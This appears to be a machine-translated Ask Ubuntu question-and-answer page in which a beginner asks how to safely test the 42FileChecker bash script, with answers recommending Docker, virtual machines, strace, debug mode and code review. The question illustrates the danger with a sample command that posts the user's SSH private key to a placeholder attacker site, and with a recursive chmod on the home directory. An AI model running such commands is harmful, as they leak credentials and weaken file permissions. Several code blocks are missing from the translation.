Chciałbym zainstalować pewien skrypt bash o nazwie 42FileChecker za pomocą poleceń:
git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
cd ~/42FileChecker &&
bash ./42FileChecker.sh
Ale nie wiem, czy 42FileChecker.sh zrobi jakieś dziwne rzeczy na moim komputerze, ponieważ jestem początkującym i nie wiem, co się dzieje w tym skrypcie. Czy istnieje sposób, aby uruchomić go w fikcyjnym terminalu lub fikcyjnym folderze głównym, czy coś takiego, aby zobaczyć, co się stanie, aby uniknąć czegoś szalonego, takiego jak formatowanie moich dysków. Chciałbym również wiedzieć, w jaki sposób testować powłoki pod kątem przyszłych skryptów powłoki, nawet jeśli 42FileChecker.sh jest bezpieczny.
man
strony zawartych w nim poleceń.chmod 777 -R ~
lubcurl http://badsite.example.com/secret-grabber.php -d @"$HOME"/.ssh/id_rsa
lub podobnych.Odpowiedzi:
Nie jestem w tym ekspertem, ale zalecałbym używanie
strace
idocker
.Najpierw utwórz kontener Docker zgodnie z instrukcjami w tej odpowiedzi . Ale oprócz tego strace powie ci, jakie wywołania systemowe są wykonywane. Lub zacytować:
Możesz połączyć te polecenia z
źródło
Jeśli nie masz pewności, co robi skrypt, lepiej nie uruchamiać go, dopóki nie będziesz pewien, co on robi. Sposoby zmniejszenia promienia uszkodzenia złego skryptu obejmują uruchomienie go przy użyciu nowego użytkownika, uruchomienie w kontenerze lub uruchomienie na maszynie wirtualnej. Ale to pierwsze stwierdzenie nadal obowiązuje: jeśli nie jesteś pewien, co coś robi, rozważ uruchomienie go, dopóki tego nie zrobisz.
źródło
Jak powiedział @ctt, prawdopodobnie dobrym pomysłem jest uruchomienie go najpierw w jakiejś piaskownicy. Korzystanie z maszyny wirtualnej jest prawdopodobnie najłatwiejszym rozwiązaniem. Multipass jest dość prosty.
Zainstaluj multipass (zakładając, że jeszcze tego nie zrobiłeś):
Rozwiń nową maszynę wirtualną:
Zaloguj się do nowej maszyny wirtualnej:
Następnie uruchom skrypt (w vm):
źródło
Ponieważ szkoła, do której uczęszczasz, opublikowała skrypty, najlepszym miejscem do wyrażenia swoich obaw są instruktorzy.
To powiedziawszy, możemy pomóc ci rozszyfrować kod po linii. Prawdopodobnie jest to niepraktyczne dla każdego tutaj, aby analizować wszystkie kodu.
W rzeczywistości masz 40 skryptów bash z łączną liczbą 5 360 linii. Połączyłem je razem i szukałem poleceń bash / shell, które mogłyby zostać wykorzystane. Wszystkie wydają się być używane normalnie :
rm -rf /
polecenia, aby wyczyścić całą partycję dysku twardego.sudo
należy zastosować do uruchomienia skryptu.C
w sprawdzanych plikach używane są tylko autoryzowane funkcje.github
stronie.42FileChecker
wydaje się bezpieczny w użyciu.To nie są czytelne dla ludzi skrypty bash, o które musisz się tak bardzo martwić. Są to skompilowane obiekty binarne, których nie można odczytać, które stanowią powód do niepokoju. Na przykład program o nazwie „błyszcząca kula sprężysta” może namalować coś takiego na ekranie, ale w tle może wymazać wszystkie pliki.
Oryginalna odpowiedź
Najlepiej zapytać autora skryptu, co robi. Rzeczywiście, możesz prawie opublikować swoje pytanie dosłownie, jak pokazano powyżej.
Zapytaj także autora:
I wszelkie inne dobre pytania, o których możesz pomyśleć.
Edycja 1 - Martwi się o złośliwego autora.
Powinieneś używać oprogramowania z dużą ilością dobrych opinii publicznych. Alternatywnie autorzy, którym ufasz tutaj w Ask Ubuntu, jak Serge, Jacob, Colin King itp. Inne szanowane strony, takie jak Ask Ubuntu i ich szanowani członkowie, również powinny być uważane za „nie-złośliwe”.
Zaletą „szanowanych autorów” tutaj w Ask Ubuntu jest to, że stawiają swoją wartość na „punkty reputacji”. Jeśli mieliby celowo napisać kod, który „ukradł” lub „uszkodził” dane, szybko straciliby swoją reputację. Rzeczywiście autorzy mogą cierpieć z powodu „gniewu modów” i być zawieszeni i / lub zabrać 10 000 punktów reputacji.
Edycja 2 - Nie wykonuj wszystkich instrukcji
Przyjrzałem się dokładniej instrukcjom skryptu bash:
„Bezpieczną” metodą jest uruchomienie tylko pierwszego wiersza:
Spowoduje to pobranie skryptów, ale ich nie uruchomi. Następnie użyj
nautilus
(menedżera plików), aby sprawdzić zainstalowane katalogi i pliki. Bardzo szybko odkrywasz, że istnieje zbiór skryptów bash napisanych przez grupę studentów we Francji.Celem skryptów jest kompilacja i testowanie programów C pod kątem nieprawidłowych funkcji i wycieków pamięci.
źródło
~/42FileChecker/includes/display/display_credits.sh
prac Zjednoczone norminette za to dependancy:norminette (42 born2code) http://www.42.fr
. Przeczytałem to ostatniej nocy i dlatego napisałem, że to szkoła (ecole) we Francji, która opublikowała 42FileChecker . Z tego, co do tej pory przeglądałem kod, nie martwiłbym się jego uruchomieniem. Ponadto ma bardzo niewiele zgłoszonych błędów składniowych,shellcheck
co jest zaskakujące dla 5360-liniowego skryptu bash. Wiele profesjonalnie opublikowanych skryptów bash ma wiele błędów składniowych.Możesz użyć Dockera. Kontenery dokujące są odizolowane od systemu operacyjnego hosta, więc wszelkie złośliwe działania pozostaną w kontenerze, o ile nie zostanie to specjalnie wydane przez przekierowanie portów lub zamontowanie systemów plików.
Aby zainstalować okno dokowane:
Aby pobrać nowy pojemnik Ubuntu Bionic:
Następnie zaloguj się do kontenera
i wykonaj w nim podejrzaną operację:
źródło
docker diff
aby zobaczyć, jakie zmiany zostały wprowadzone w systemie plików od momentu uruchomienia kontenera. Minusem korzystania z Dockera jest to, że kontener nie jest pełną kopią systemu hosta. Obraz Ubuntu, o którym tu wspominasz, zawiera tylko minimalną instalację Ubuntu.docker run ubuntu
należy uruchomićdocker run -it ubuntu:bionic
The-it
daje interaktywny terminal w kontenerze ibionic
faktycznie uruchamia żądaną wersję zamiast domyślnejlatest
.--memory
,--network
i być może inni naprawdę zablokować skrypt.Rozważ użycie trybu debugowania, uruchamiając skrypt jako:
Dalsze przydatne informacje Bash
Tryb debugowania nie powstrzyma skryptu przed zrobieniem czegoś złego, ale pozwoli ci przejść przez skrypt wiersz po wierszu i zbadać efekty. Możesz także sprawdzić skrypt pod kątem typowych potencjalnych błędów i / lub exploitów, np. Przeszukać skrypty pod kątem wystąpienia
rm
i bardzo uważnie przyjrzeć się tym poleceniom. Wiele z tych narzędzi ma jakąś pomoc wbudowany do wypróbowując je, np rm nie usunie katalog domyślnie potrzebuje-r
,-R
lub--recursive
opcję, aby to zrobić.Mogą nawet istnieć narzędzia podobne do programów antywirusowych, które wyszukują te skrypty w skryptach bash, ale nie znam ich z nazwy. Twoje przykładowe skrypty są trochę niepewne, w tym sensie, że pobierają inne narzędzia, więc każde z nich również powinno zostać zbadane. Warto również sprawdzić, z którymi serwerami się kontaktują.
źródło
Odpowiednie informacje do udzielenia odpowiedzi znajdują się niestety tylko w komentarzu:
Tak więc sytuacja jest taka, że w praktyce masz możliwość pominięcia kursu lub możesz uruchomić skrypt, aby wykonać normatywne kontrole źródeł. Rozmowa z instruktorem nie jest opcją z powodu braku tego pierwszego (w przeciwnym razie nie byłaby to opcja, żadna szkoła nie zmieni swojej procedury, ponieważ jeden uczeń nie jest z tego zadowolony).
Pytanie, co zrobić, aby ograniczyć ewentualne szkody z tego skryptu, więc nawet nie powstaje. To nie jest przypadkowy scenariusz, który napalona dziewczyna z dużymi piersiami wysłała do ciebie e-mailem i który musisz uruchomić, aby zobaczyć jej zdjęcie .
Robisz zajęcia z programowania. Toto gdzie ten skrypt wszedł do gry. Pytanie brzmi, czy chcesz spełnić warunki ramowe pomyślnego ukończenia kursu.
Jednak jeśli naprawdę się martwisz, nadal istnieje możliwość uruchomienia skryptu w kontenerze lub maszynie wirtualnej i umieszczenia źródeł w folderze współdzielonym lub w udziale sieciowym ujawnionym przez kontener / maszynę wirtualną. To prawie przejście na pełną paranoję, ale z drugiej strony wirtualizacja wcale nie jest tak skomplikowana, więc nie kosztuje dużo.
Z wyjątkiem mało prawdopodobnej możliwości zawarcia w tym skrypcie bardzo trudnego exploita, zalogowania się jako każdy użytkownik inny niż root (co nie ma innego wyboru niż Ubuntu) i unikanie pisania
sudo
bez żadnego wyraźnego powodu uniemożliwia 99% wszystkie złe rzeczy, które i tak mogą się wydarzyć. Takich jak formatowanie dysku twardego, o które się martwisz. Zwykły użytkownik po prostu nie może tego zrobić. Najgorsze, co może się stać, to skasowanie katalogu domowego użytkownika. Więc co, nie ma problemu, naprawdę.źródło
sudo
wymagane jest uruchomienie skryptu. +1sudo
ogranicza jedynie zakres przypadkowego usunięcia / formatowania z powodu błędów. Jeśli skrypt był złośliwy lub nadawał się do wykorzystania, uruchomieniesudo
w systemie jednego użytkownika nie ma istotnej różnicy.42FileChecker
więc nie mogę powiedzieć, czysudo
jest to potrzebne, czy nie. Skrypt bash nie sprawdza sudo i mówi ci, abyś go używał. Wygląda na to, żesudo
nie jest to wymagane. Po raz kolejny myślę, że najlepiej poprosić instruktora (nauczyciela). Zaktualizowałem swoją odpowiedź godzinę temu z małą analizą skryptu. Zauważ, że nazwa „mynorminette
” pojawiła się ponownie w kodzie.42FileChecker
. Wierzę, że rozmowa z instruktorami uspokoi twój umysł. Po kilku godzinach dochodzenia wierzę w programistów i ich twórczość. Jean-Michel Gigault ma nawet swoje zdjęcie na githubie. Całkiem świadectwo zaufania do ziemi, na której rosną nasiona Żółtej Kamizelki. Viva La France! (et Ecole 42 :)) Wyświadcz nam przysługę i wpadnij, aby otrzymywać informacje o postępach.